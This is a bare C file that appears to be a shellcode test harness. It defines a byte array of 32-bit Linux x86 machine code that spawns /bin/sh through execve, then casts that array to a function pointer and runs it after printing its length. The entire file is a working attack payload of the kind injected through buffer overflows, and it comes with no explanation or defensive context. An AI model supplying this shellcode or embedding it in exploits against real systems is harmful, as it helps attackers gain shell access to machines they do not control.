char c0de[] = 
	"\xeb\x1F\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c"
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
	"\x40\xcd\x80\xe8\xdc\xFF\xFF\xFF/bin/sh";

main()
{
  void (*sc)() = (void *)c0de;
  printf("%d bytes\n", strlen(c0de));
  sc();
}